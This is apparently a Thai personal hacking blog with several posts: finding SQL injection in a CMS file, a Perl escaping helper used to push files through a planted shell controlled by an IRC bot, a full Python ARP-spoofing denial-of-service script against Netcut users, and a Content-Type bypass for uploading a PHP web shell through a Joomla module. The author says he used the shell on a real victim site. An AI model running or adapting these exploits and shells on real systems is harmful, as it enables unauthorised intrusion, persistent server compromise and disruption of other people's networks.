          เรามาดูกันที่ไฟล์ tva.php ที่มีบัคอยู่นะครับจะรู้ได้อย่างไรว่าบัคตรงไหน ถ้าสังเกตุจะเห็น ?mode=modif&id= ตรงนี้ก็เป็นการรับค่า $_GET ในภาษา PHP นั้นเอง ซึ้งใครเป็นก็คงจะร้องอ่อแล้ว เราก็ค้นหาด้วย Keyword modif ก็จะได้เป็น

 case "modif" :
  affiche_formulaire_modif_tva($_GET['id']);
  break;

          จะเห็นว่ามีการเรียกใช้ Function affiche_formulaire_modif_tva อยู่นะครับสังเกตุได้จาก affiche_formulaire_modif_tva($_GET['id']); อย่างที่ผมบอกไว้ตั้งแต่แรกว่ามันเป็นการรับค่า GET นั้นเอง เราก็ค้นว่า affiche_formulaire_modif_tva อยู่ตรงไหน...

function affiche_formulaire_modif_tva(&$id) {
  /* Affiche le formulaire de modification pour le tvas้lectionn้ */

 global $frm;

 /* Charge les informations du produit */
 $qid = mysql_query("
 SELECT *
 FROM peel_tva
 WHERE id = $id
 ");
 
 $frm = mysql_fetch_array($qid);
 
 $frm['nouveau_mode'] = "maj";
 $frm['titre_bouton'] = "Sauvegarder";

 affiche_formulaire_tva();
}

มีการรับค่ามาสังเกตุจาก
$_GET['id'];
และการ Query ตรงนี้
$qid = mysql_query("SELECT * FROM peel_tva WHERE id = $id");
          รับค่ามาโดยตรงโดยไม่มีการป้องกัน SQL Injection เลยจึงเกิดบัค SQL Injection ส่วนวิธีป้องกันและวิธี By Pass ลองหาดูในบล๊อกผมครับ เคยเขียนไว้แล้ว :P

          ขอจบบทความการหาจุดที่ Bug จาก CMS แบบพื้นฐานเพียงแค่นี้ครับ ขอบคุณทุกท่านที่อ่านจนจบ ,, ICheer_No0M

วันจันทร์ที่ 9 มกราคม พ.ศ. 2555

Perl function equivalent of PHP’s AddSlashes()

          เรื่องของเรื่องคือผมต้องการใช้ PHP เขียนไฟล์ PHP อีกทีแต่มันติดพวกอักขระ Escape พวก ' ที่จะต้องเป็น \' นั่นเองเลยหาวิธีแก้อยู่หลักการที่ผมใช้คือใช้ Perl อ่านไฟล์ PHP บนเครื่องผม แล้วไปเขียนบน Server เหยื่อโดยใช้ Shell ที่ผมวางไว้ Control ด้วย Bot IRC นั่นเอง เขียนอยู่สองวันได้ยังไม่สำเร็จเพราะติดตรงนี้จึงถามเขาไปทั่ว 55
         ใช้ค้น Google ลองมั่วอยู่นาน ค้นไปมาลองคีย์เวิร์ด perl addslashes php เอามาลอง Work เลยครับ ผมแก้แค่เพิ่ม $text =~ s/\$/\\\$/g; ตรงนี้เข้าไปเองก็จะได้เป็น..

sub AddSlashes {
    $text = shift;
    $text =~ s/\\/\\\\/g;
    $text =~ s/\$/\\\$/g;
    $text =~ s/'/\'/g;
    $text =~ s/"/\\"/g;
    $text =~ s/\\0/\\\\0/g;
    return $text;
}

วิธีใช้ก็ AddSlashes($values);
คราวนี้ผมจะเขียนไฟล์อะไรในเครื่องผมไปฝังเครื่องเหยื่อผ่าน Shell.php ก็ไม่มีปัญหาแล้วแฮะ :)
ปล.ป๋าเอ็ดบอกทำไมไม่เขียน upload.php ไปทีเดียวล่ะ ?
ตอบป๋า มันไม่เท่ห์ครับ แปวว :P
ทดสอบ IRC Bot ใน Localhost เพราะไม่เคยแฮคจริง *0*



Ref : Perl function equivalent of PHP’s AddSlashes()

วันอาทิตย์ที่ 8 มกราคม พ.ศ. 2555

Amazon ไข่แตกแล้วววว


เริ่มทำ 20 Dec 2011 - 08 Jan 2012 

          เนื่องจากมีพี่ๆแนะนำมา เลยลองทำกับ Blogger อย่างเดียวเลย ใช้ CBlogger เขียนบอท IRC ไปใช้ CBlogger แบบอัตโนมัติ  ปั้นมั่วเลยเพราะไม่รู้เรื่อง Keyword 55



          ไม่คิดว่าไข่จะแตกเพราะหมดหวังแล้ว และไม่ได้ทำต่อเลยตั้งแต่ปีใหม่ มาเห็นแบบนี้ค่อยดีใจ + มีกำลังใจทำต่อ ขอบคุณทุกๆท่านที่ให้คำแนะนำผมครับ สู้ต่อไป  ,, ICheer_No0M


Facebook For Nokia N72

          เรื่องมันมีอยู่ว่าผมอยากจะเล่นเฟสบุคในโทรศัพท์บ้า่ง แต่โทรศัพท์ผมมันเป็นรุ่นเก่าพอควร N72 นั่นเอง ก็เลยหาวิธีที่จะเล่น
         แต่เนื่องจากเล่นใน Browser ของโทรศัพท์นั้นมันก็เข้าได้นะ แต่โพส และอัพรูปไม่ได้ เลยลองหา Opera Mini มาเล่น เมื่อก่อนก็เคยใช้อยู่ ผมลืมไปได้ไงหว่า ลองเอามาทดสอบดูใช้ได้เลย อิิอิ






วันศุกร์ที่ 6 มกราคม พ.ศ. 2555

Netcut 2.0 Denial of Service Vulnerability

#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video  http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz :  ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma

from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys

#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip  = commands.getoutput("ip route list | grep default").split()[2]
    
def protect(gw_ip,gw_mac):
    os.popen("arp -s %s %s" %(gw_ip,gw_mac))
    print "Protected himself"
    
def detect():
        ans = sniff(filter='arp',timeout=7)
        target=[]
        for r in ans.res:
            target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%")) 
        return target

def preattack(gw_ip):
    num = []
    count = 0
    target = 0
    temp = 0
    print "Detecting..."
    d = detect()
    for i in range(len(d)):
        if d[i].split()[0] == "255.255.255.255":
            num.append(d.count(d[i])) 
            if d.count(d[i]) > count:
                count = d.count(d[i])
                target = i
        if d[i].split()[0] == gw_ip:
            temp += 1       
    if len(d) < 7:
        print "[-] No one use Netcut or try again"
        exit()
    if len(num)*7 < temp:
        num[:] = []
        count = 0
        result = float(temp)/len(d)*100
        for j in range(len(d)):
            if d[i].split()[0] == gw_ip:
                num.append(d.count(d[j]))
                if d.count(d[i]) > count:
                    count = d.count(d[i])
                    target = i
            num.reverse()
            result = float(temp)/len(d)*100
        print target 
    else:
        num.reverse()
        result = float(num[0]+temp)/len(d)*100
    
    print "There is a possibility that " + str(result) + "%"
    if result>= 50:
        target_mac = d[target].split()[1]
        target_ip = d[target].split()[2]
        print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
        attack(target_mac,target_ip,gw_ip)    
    else:
        print "[-] No one use Netcut or try again"

def attack(target_mac,target_ip,gw_ip):
    print "[+]Counter Attack !!!"
    e = Ether(dst="FF:FF:FF:FF:FF:FF")
    while 1:
        a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
        p = e/a/Padding("\x00"*18)
        sendp(p,verbose=0)
        a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
        p1 = e/a1/Padding("\x00"*18)
        sendp(p1,verbose=0)
        
if __name__ == '__main__':
    os.system("clear")
    print   "###################################################"
    print    " __  __    __     __    _____   __      __  _   _"
    print    "|  \/  |   \ \   / /   / ____|  \ \    / / | \ | |"
    print    "| \  / | __ \ \_/ /_ _| (___   __\ \  / /__|  \| |"
    print    "| |\/| |/ _\ \   / _\ |\___ \ / _ \ \/ / _ \ . \ |"
    print    "| |  | | (_| || | (_| |____) |  __/\  /  __/ |\  |"
    print    "|_|  |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
    print   " "
    print   "###################################################"
    print   ""
    print   "http://mayaseven.blogspot.com"
    print   ""
    if len(sys.argv) == 2 or len(sys.argv) == 3:
        if len(sys.argv) == 2:
            conf.iface=sys.argv[1]
            preattack(gw_ip)
        if len(sys.argv) == 3:
            conf.iface=sys.argv[1]
            gw_mac = sys.argv[2]
            protect(gw_ip,gw_mac)
            preattack(gw_ip)
    else:
        print '''Mode:   
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
        
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway> 
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF 
''' 


# 1337day.com [2012-01-04]
Ref : http://mayaseven.blogspot.com :)

วันอังคารที่ 3 มกราคม พ.ศ. 2555

Simple File Upload v1.3 Joomla Module Remote Code Execution with Live HTTP Headers

          สวัสดีครับ บทความนี้ผมจะมานำเสนอการใช้ Exploit จาก Exploit-db ที่มีการ Report เข้ามาจะยกตัวอย่าง Simple File Upload v1.3 Joomla Module Remote Code Execution ผมจะมาทำแบบมือนวลให้ดูโดยใช้ Add-on ของ Firefox ( Live HTTP Headers ) กันนะครับ เริ่มกันเลยผมจะขอลองใน Localhost นะครับ...


          ขั้นแรกก็เปิด Firefox ไปที่เว็บเป้าหมาย เปิด Add-on Live HTTP Headers แล้วอัพ Shell.php5 ขึ้นไปดูครับ แล้วสังเกตุ Header



          การอัพ Shell ครั้งแรกจะไม่ผ่านเพราะ Content-Type เราไม่ใช่รูป แต่เป็น application/octet-stream ซึ่งแน่นอน อยู่ดีๆมีไฟล์ PHP อัพเข้ามา อันตรายขิงๆ O_O!



         เราก็ต้องทำการแก้จาก application/octet-stream ให้เป็น image/gif เพื่อบงบอกให้รู้ หรือหลอกว่านี่เป็นรูปนะ !!! โดยกด Replay... แล้วแก้เป็น image/gif หรืออื่นๆใน Content-Type ที่เป็นตระกูลรูปทั้งหลายเมื่อแก้เสร็จแล้วก็กด Replay อีกครั้ง Firefox ก็จะำทำงานเหมือน Refresh แต่ไ่ม่ใช่ มันรันซ้ำอีกครั้งแต่  Header ได้ถูกแก้ไปเรียบร้อยแล้ว...




          โอเคแล้วครับ คราวนี้ Shell.php5 ของผมได้มาอยู่ที่ http://localhost/joomla/images/shell.php5 เรียบร้อยแล้ว คราวนี้มาลอง Remote Shell.php5 ดูซักหน่อย ผมขอลองกับเว็บเหยื่อจริงๆนะครับ :P


          หะเหยดดดดดดดดด Work! ครับขอจบบทความ How to Manual Simple File Upload v1.3 Joomla Module Remote Code Execution with Live HTTP Headers ไว้เพียงเท่านี้นะครับ ขอบคุณครับ ,, ICheer_No0M